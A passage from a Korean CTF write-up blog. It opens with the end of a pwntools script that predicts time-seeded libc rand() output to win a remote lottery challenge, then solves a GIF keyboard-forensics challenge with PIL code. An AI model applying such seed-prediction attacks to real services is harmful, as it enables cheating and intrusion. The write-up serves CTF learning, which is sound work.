p = remote(IP, 34000)
#LIBC = ctypes.CDLL("/lib/i386-linux-gnu/libc-2.23.so")
LIBC = ctypes.CDLL("./libc-2.23.so")
LIBC.srand(LIBC.time(0))
numbers = []
cnt = 0
while cnt < 7:
num = (LIBC.rand() % 45) + 1
if num not in numbers:
numbers.append(num)
cnt+=1
print(numbers)
for i in range(7):
p.sendline(str(numbers[i]))
p.interactive()
FLAG: SSF{WOW! You earned 100M won!}!!}
- Monkey.Typing.Works
challenge.gif는 키보드 그림인데, 연두색으로 어떤 키가 눌렸는지 확인하는 그림이 여러 사진으로 되어있는 gif 파일이다. 그리고, data.zip는 아래와 같은 키가 모든 키(a-z, A-Z, {, }, spacebar)로 되어 있는 사진이다.
일단 gif를 사진으로 펼쳐보자는 생각으로 online convertor - ezgif에서 사진들을 추출했더니, 총 998장의 사진이 나왔다. 그래서, 일일이 손으로 타이핑하자는 생각은 단숨에 사라졌다. 중간에 하나만 실수해도 998개를 다시 봐야 하기 때문이다.
이후에 생각난 방법은 PIL 모듈을 이용하는 것이었다.
키보드끼리 서로 겹치는 부분이 없고, 특정 키에서만 연두색으로 진하게 되어 있다? 즉, 특정 위치에 픽셀의 RGB 값을 통해, 어떤 키가 눌렸는지 확인할 수 있다는 소리였기 때문이다. 그러려면, 사진마다 어떤 픽셀이 뚜렷한 건지 확인할 필요가 있었다. 이는 다음의 test.py 파일로 진행했다.
import PIL.Image as Image
import os
def files_in_dir(root_dir, prefix=""):
files = os.listdir(root_dir)
res = []
for file in files:
path = os.path.join(root_dir, file)
res.append(path)
return res
def scan(img1):
one = Image.open(img1)
r_m, g_m, b_m = 0, 0, 0
x_m, y_m = 0, 0
for y in range(101):
for x in range(324):
r, g, b = one.getpixel((x, y))
if r_m < r and g_m < g and b_m < b:
x_m, y_m = x, y
r_m, g_m, b_m = r, g, b
#if r > 60 and g > 100 and b > 60:
# print("[{}, {}] {} {} {}".format(x, y, r, g, b))
# cheatsheet[img1[img1.find('-') + 1]] = (x,y)
# return 0
print(x_m, y_m)
print(r_m, g_m, b_m)
cheatsheet = {'shift': (26, 68), 'space':(100,86),'{': (244, 26), '}': (255, 37), 'c': (118, 68), 'l': (208, 50), 'h': (153, 49), 'x': (99, 67), 'g': (135, 50), 'a': (64, 50), 'q': (63, 32), 'd': (98, 49), 'p': (226, 25), 'i': (189, 32), 'b': (153, 68), 'm': (190, 68), 'j': (171, 50), 'o': (207, 32), 'k': (189, 50), 's': (81, 50), 'y': (153, 32), 'f': (117, 49), 'v': (135, 68), 'r': (117, 32), 'n': (171, 68), 'w': (81, 32), 'u': (172, 31), 'e': (99, 32), 'z': (81, 68), 't': (135, 32)}
'''
a = ['./data/space.jpg', './data/}.jpg', './data/{.jpg', './data/lowercase-p.jpg', './data/uppercase-p.jpg', './data/uppercase-a.jpg']
b = ['./data/lowercase-c.jpg', './data/lowercase-v.jpg']
print(a[0])
scan(a[0])
files = files_in_dir('./data')
for path in files:
if "lowercase-t" in path:
print(path)
scan(path)
print(cheatsheet)
'''
키 사진들을 보고, 어떤 픽셀이 RGB 값이 높은지 체크했고, 그 값을 cheatsheet에 담았다. 또한, 해당 특정 픽셀이 정확하지 않을 수 있으므로(왼쪽 위에서 오른쪽 아래로 진행하므로), 그림판을 통해서, cheatsheet의 값을 수작업으로 일일이 보정해줬다.
이후에는 gif 파일을 열어서, 이전에 구한 cheatsheet를 활용해, 플래그를 추출했다!
이 코드의 원본은 여기를 보면 된다~
from PIL import Image
from test import cheatsheet
# Open image file
im = Image.open('./challenge.gif')
print("\n** Analysing image **\n")
# Display image format, size, colour mode
print("Format:", im.format, "\nWidth:", im.width, "\nHeight:", im.height, "\nMode:", im.mode)
# Check if GIF is animated
frames = im.n_frames
print("Number of frames: " + str(frames))
print("\n** Converting image **\n")
# Iterate through frames and pixels, top row first
answer = ''
for z in range(frames): #frames
# Go to frame
im.seek(z)
#print("Frame: ", im.tell())
rgb_im = im.convert('RGB')
tmp = ''
for i in cheatsheet:
x, y = cheatsheet[i]
x-=6
y-=6
r_m, g_m, b_m = 0, 0, 0
for y_i in range(y, y+12):
for x_i in range(x, x+12):
r, g, b = rgb_im.getpixel(cheatsheet[i])
if r_m < r and g_m < g and b_m < b:
r_m, g_m, b_m = r, g, b
#print(r_m, g_m, b_m)
if r_m > 60 and g_m > 60 and b_m > 60:
tmp += i
if len(tmp) > 6:
print(tmp)
print("Frame: ", im.tell())
if len(tmp) == 0:
print("zero")
print("Frame: ", im.tell())
if "{" in tmp or "}" in tmp:
answer += tmp[5]
#print("[*] hi")
elif "shift" in tmp:
answer += tmp.upper()[5]
#print("[*] upper")
elif "space" in tmp:
answer += ' '
else:
answer += tmp
#print("[*] lower")
'''
for y in range(im.width):
for x in range(im.height):
# Get RGB values of each pixel
r, g, b = rgb_im.getpixel((x, y))
print(r, g, b)
input()
'''
print(answer)
FLAG:
SSF{ThiNg hIGh WiLL anOTheR grOuP you haNd Lead gO herE beTWeen ThEn SUcH UP look uSE pUbliC hANd oF WheRE HOmE cOUrsE OLd mOSt eAch saY Feel herE very MeAN GEt muSt linE too HiGH LEaD THinG HiGh fIRst theN Very sYSTEm BeforE pLace should thiNK bECauSe WOuLd she thEY knOw thIs Man SAy aGain gOVern rEal ThesE Do gEt LARGe ALsO fACe hE feel scHOOL SO MAN aS thERE SEE Long if WhilE No JuSt PLAY As tHROugh THoSe Leave tHat wORLD sChoOl THE tAkE JUsT bAck hOMe HANd POint tOO wHeRE miGhT lItTLe feEL houSe saMe hOw MUst sO beFoRE THIs CALL tHEN whiLE hERe NumBER MAKE OtheR ConSiDEr lEAVe A Call As wiTh gOveRn OWn StiLl he plaCE Or AgAIN tHaT ENd nEver musT wRiTE peRson FOrm sHOw inTo THINk tHIS MOSt MAn RUn tHEsE hoUSE ARoUnd Place haNd GiVe dAy befOrE CALl laTE PRogrAM tHerE may turn whILe THERE bUt aS oLD kNOW ONE EnD WOULD ThEy he fACT pEOple TOO we HE muCh hERe wRite Do Part Face head OWN pEOPLE WItHouT STill fRom weLL OUT NeED move POINt or geNERAL tHERE as bEgin ArouND End OpeN folloW} |

'Security > CTF' 카테고리의 다른 글
[LINE CTF 2022] call-of-fake 풀이 (0) | 2022.04.17 |
---|---|
[CISCN CTF 2017] babydriver 풀이 (0) | 2022.02.25 |
[SFCTF 2022 Winter] simple_kpwn 풀이 (0) | 2022.02.20 |
[SFCTF 2022 Winter] simple_pwn 풀이 (0) | 2022.02.15 |